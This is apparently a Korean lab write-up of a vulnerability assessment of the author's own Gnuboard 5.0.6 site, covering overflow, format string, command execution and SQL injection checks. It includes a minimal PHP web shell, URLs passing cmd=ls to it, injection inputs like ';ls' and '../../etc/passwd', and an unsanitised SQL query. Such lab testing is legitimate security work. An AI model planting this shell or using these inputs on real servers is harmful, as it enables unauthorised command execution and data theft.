그누보드 대상 주요정보통신기반 웹 취약점 항목 진단

 

 

실습 환경

 

 

aws ec2에 그누보드 5.0.6버전을 올려두고 해당 사이트 내에서 주통기 웹 항목을 하나하나 진단할 것이다.

---

1. 버퍼오버플로우

 

 

 

 

대량의 문자열을 입력하려 해도 적정량의 문자가 입력되며 더이상 적히지않는다. 제한값이 있는것으로 추정되는데 

이 제한값을 넘어 더많은 문자열을 전달하기위해 burp suite를 사용해서도 테스트 해본다.

서버로 전달되는 id입력칸을 중간에 가로채 더많은 문자열을 입력하여 전달

 

 

딱히 에러페이지가 나오지는 않고 적절히 필터링되어 처리되는 것 같아보임.(취약점 X)

 

 

 

로그인 후 회원정보 수정 입력페이지에서도 똑같이 오버플로우 시도

 

이 회원정보 수정페이지에서는 오버플로우 취약점이 발견되지 않았지만 이때 점검을 통해 여럿 다른취약점이 존재하는걸 확인함.

 

password 부분에 대량의 문자열을 입력했는데 "성공적으로 회원정보가 수정되었습니다" 가 출력되고 정보가 수정되었음.

이때 든 생각이

1. 적절한 입력값을 검증하지 않았구나.

2. 비밀번호와 비밀번호 재입력칸이 일치하지 않는데 성공적으로 회원정보가 수정되었다? => 클라이언트 측에서만 비밀번호 재입력칸을 검증하고 서버측에 그대로 전달이 되는가보다.

 

 

특수 문자를 포함한 입력값이 서버의 정규식 로직을 깨트리고, 이를 통해 서버 내부 동작에 대한 정보를 노출했다.

에러 메시지와 함께 서버 파일 경로가 노출이 되며 민감한 내용을 노출시킨다.

이는 서버가 입력값을 적절히 필터링하지 못했다는 걸 나타냄.

 

이외에 게시글 작성페이지나 1:1문의 혹은 get방식으로 url 파라미터 등에 오버플로우를 시도해도 통하지않는것을 확인했다.

---

2.포맷 스트링

 

글쓰기 페이지에서는 포맷스트링이 통하지않는걸 확인 (burp suite로 넣어도 동일하게 나옴)

 

url 파라미터에 삽입해도 동일

 

 

3. LDAP 인젝션

LDAP 미사용중이라 다음항목으로 패스

 

4. 운영체제 명령 실행

 

먼저 첫번째 타겟으로 "파일 업로드/다운로드 기능"이 있는곳에 악성 php파일을 업로드하여 실행시키는지 테스트해보았다.

 

 

 

<?php
// 명령어를 받아 실행하는 간단한 웹 셸
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
} else {
    echo "Test Shell: No command provided.";
}
?>

shell.php 파일 내용

 

먼저 서버에 악성 파일을 저장시키게끔은 해둔 상태이다.

명령 실행 취약점을 실행하게 유도하기 위해선 서버가 이 파일을 읽거나 실행시키게 유도해야한다.

 

필수 조건

• 업로드된 파일이 서버에서 실행될 수 있는 위치에 저장되어야 합니다.
• 서버가 파일을 실행하도록 유도하거나, 사용자가 직접 URL로 파일을 호출해야 합니다.

 

해당 악성 파일이 업로드된 링크를 복사하였을때 링크는 밑에처럼 나온다.

http://3.38.169.98/g5/bbs/qadownload.php?qa_id=9&no=1

파라미터는 대충 qa_id=9 < qa게시판의 게시물로 추정됨 (즉 qd게시판의 9번째 게시물을 뜻하는듯)

no=1 < 해당 게시물의 첨부파일 번호. (1번째 첨부파일)

 

올려둔 악성 파일을 다시보면 

    system($_GET['cmd']); 

이 있는데 이는 운영체제 명령어를 실행시키는 system함수를 get방식으로 파라미터를 받아와 실행시키는것이다.

따라서 url에 cmd파라미터안에 원하는 명령어를 직접 넣어주어 전달하는방식으로 노려보았다.

http://3.38.169.98/g5/bbs/qadownload.php?qa_id=9&no=1&cmd=ls

 

 

하지만 해당 url로 입력을 했으나 단순히 파일 다운로드만 그대로 진행된다.

이는 "qadownload.php"의 코드가 명령 실행 기능이 아니라 파일 다운로드 기능만 처리하고 있다고 생각할 수 있다.

 

 

혹여나 모를 숨겨져있는 파라미터나 취약한 부분을 burp suite로 보면 나오는게 있을까 싶어 확인해도 딱히 나오는건 보이지않음.

 

 

현재 상황 정리

1. 우리가 확인하려는 취약점:
   • "운영체제 명령 삽입" 취약점을 테스트하기 위해, 업로드한 shell.php 파일을 실행할 수 있는 실제 경로를 찾아야 합니다.
2. 문제의 핵심:
   • 업로드된 shell.php 파일의 실제 서버 경로를 모르는 상태입니다.
   • 다운로드를 처리하는 **qadownload.php**는 업로드된 파일을 다운로드하는 역할만 수행하며, 파일의 실제 경로를 노출하지 않습니다.
     • 현재 요청에 포함된 파라미터(예: qa_id=9, no=1)는 실제 파일 경로가 아니라, PHP 코드에서 파일을 식별하기 위해 사용되는 논리적 키입니다.

 

url에 나와있는 qadownload.php는 php코드로 업로드되어있는 파일을 가져와 다운로드할수있게끔만 해주는 역할을 수행해줄 뿐이고 실제로 우리가 올린 shell.php는 어디 경로에 올라가있는지 모르는상황이다. 이 경로를 찾으면 해당 파일에 명령어를 전달해 테스트를 해봐야 한다.

http://3.38.169.98/g5/data/file/qaview/shell.php?cmd=ls
//대충 이런식으로? (경로는 실제로 아직 찾지않음)

 

 

파일 다운로드를 요청하고 이 요청에 대한 응답 패킷을 보았을때 보통

Content-Disposition 헤더나 응답 본문에서 서버 경로 정보가 포함될 가능성이 있어 여기도 확인을 해주었다. (지금은 딱히 나오는건 없어보임)

 

업로드한 파일이 어디에 저장될까? 를 해결하기 위해 ffuf를 실행했다.

data라는 이름이 있다는것을 확인.

따라서 해당 경로 url로 접근 시도

권한설정으로 인해 막혀있는것을 확인.

(답답한 마음에 직접 서버를 켜서 파일 구조가 어떻게 되어있나 확인했다.)

 

data폴더 안에 qa라는 폴더가 있고 이 qa폴더안에 업로드된 파일들이 있으며 이 파일들에는 임의문자열들이 추가되어 해시처리가 되어있다. 블랙 입장에서는 어떤식으로든 qa폴더까지 유추했다하더라도 실제 업로드된 파일들을 실행하긴 어려워보임. 

따라서 "운영체제 명령실행"을 파일 업로드 기능에선 하기 어려워보임.

 

생각을 좀더 해보았다.

"게시글을 삭제할때는 운영체제에서 명령이 내려지지 않을까? 운영체제보다는 sql에서 이루어질려나? 보통 게시글이 sql안에 저장되니까.. 근데 첨부파일이 올려져있는 게시글이라면? 일반 게시글은 sql에 저장되지만 첨부파일 자체는 서버 운영체제 경로안에 저장이 되는데 이 게시글을 삭제하면 운영체제에서 명령을 내려 해당 첨부파일을 삭제하게 되지않을까?"

 

먼저 화이트 입장에서 보았을때 사용자가 첨부파일을 올리면 해당 폴더안에 해시값처리되어 첨부파일이 서버에 저장되고 있는걸 확인.

 

첨부파일이 올려져있는 게시글을 삭제시켜본다.

 

그후 다시보니까 서버에 올려져있는 첨부파일도 바로 삭제되는것을 확인.

따라서 첨부파일이 첨부된 게시글 삭제시 바로 서버에서도 해당 파일을 삭제시키는 로직이 있단걸 확인했다.

(그럼 게시글 삭제할때도 운영체제 명령이 사용되는구나! 여기서도 테스트 해봐야겠다. 라는 생각이 듬)

 

게시글 삭제 패킷을 가로채어 확인해본 결과 첨부파일 삭제와 관련된 정보나 명령 실행 결과가 노출되지 않았음.

따라서 서버 내부에서 로직이 실행되고 있다는걸 알 수 있음.

qa_id=10이라는 요청을 서버가 받아내어 이에 맞는 게시글을 찾고 PHP에서 unlink() 또는 system()을 사용하여 첨부파일 삭제할 것이라고 생각됨.

 

qa_id 파라미터에 명령어 삽입(;ls, ../../etc/passwd)을 시도해도 서버가 이를 허용하지 않고, 단순히 게시글 삭제만 수행하며 이또한 공격하기 어려워보임.

5. SQL Injection 

 

 

 

 

 

기본적으로 sql 인젝션이 통하려면 웹 사이트내에서 sql 기능을 사용하는 부분을 생각해 봐야한다.

게시글이나 뭐 로그인 관련 이런것들? (무지성으로 찾다가 답답한마음에 php코드를 직접봤음.)

 

<?php
include_once('./_common.php');

$g5['title'] = '1:1 문의';
include_once('./_head.php');

// qa_id가 없으면 잘못된 접근으로 처리
if (!$qa_id) {
    alert('잘못된 접근입니다.');
}

// 1:1 문의글을 수정하는 부분
if($w == 'u' || $w == 'r') {
    // 특정 qa_id에 대한 게시글 정보를 가져옴
    $sql = " select * from {$g5['qa_content_table']} where qa_id = '$qa_id' ";
    
    // 관리자가 아닐 경우 자신의 게시글만 수정할 수 있음
    if(!$is_admin) {
        $sql .= " and mb_id = '{$member['mb_id']}' "; // 자신의 게시글인지 확인
    }

    // 쿼리 실행
    $write = sql_fetch($sql);

    // 게시글이 없으면 알림
    if($w == 'u') {
        if(!$write['qa_id'])
            alert('게시글이 존재하지 않습니다.\\n삭제되었거나 자신의 글이 아닌 경우입니다.');
    }

    // 게시글 수정 권한 체크
    if(!$is_admin) {
        if($write['qa_type'] == 0 && $write['qa_status'] == 1)
            alert('답변이 등록된 문의글은 수정할 수 없습니다.');
        
        if($write['mb_id'] != $member['mb_id'])
            alert('게시글을 수정할 권한이 없습니다.\\n\\n올바른 방법으로 이용해 주십시오.', G5_URL);
    }
}
?>

 

php코드들을 찾아보다가 1:1문의 수정을 담당하는 php를 보니 qa_id가 뭔가보안적으로 되어있지않고 그대로 sql구문에 삽입되는것을 확인했음. 이거를 통해 어떻게 취약점으로 연결될수있을까 고민중 (남의 게시글 수정부분은 mb_id때문에 막히는듯;)

 

 

 

 

 

 

메모장

 

//////////중간메모

1.회원정보 수정에서 패킷가로채 닉네임부분에 / 입력후 요청시 preg_match 에러가 발생하는것을 확인.

 

2. 동일하게 닉네임부분이아닌 아이디 부분에 입력시 

Warning: preg_match(): Compilation failed: missing terminating ] for character class at offset 29 in /opt/lampp/htdocs/g5/lib/register.lib.php on line 46

 

3. 회원정보 수정 요청보낼때 비밀번호와 비밀번호 재일치 부분이 맞지않아도 성공적으로 회원정보가 바뀌는것을 확인.(물론 요청을 보내기 위해서는 브라우저상에서 비밀번호 재일치까지 맞춰야 요청이 날라감)

 

4. 회원정보 수정페이지에서 대량의 문자열 입력후 요청시

Warning: preg_match(): Compilation failed: regular expression is too large at offset 905595 in /opt/lampp/htdocs/g5/lib/register.lib.php on line 89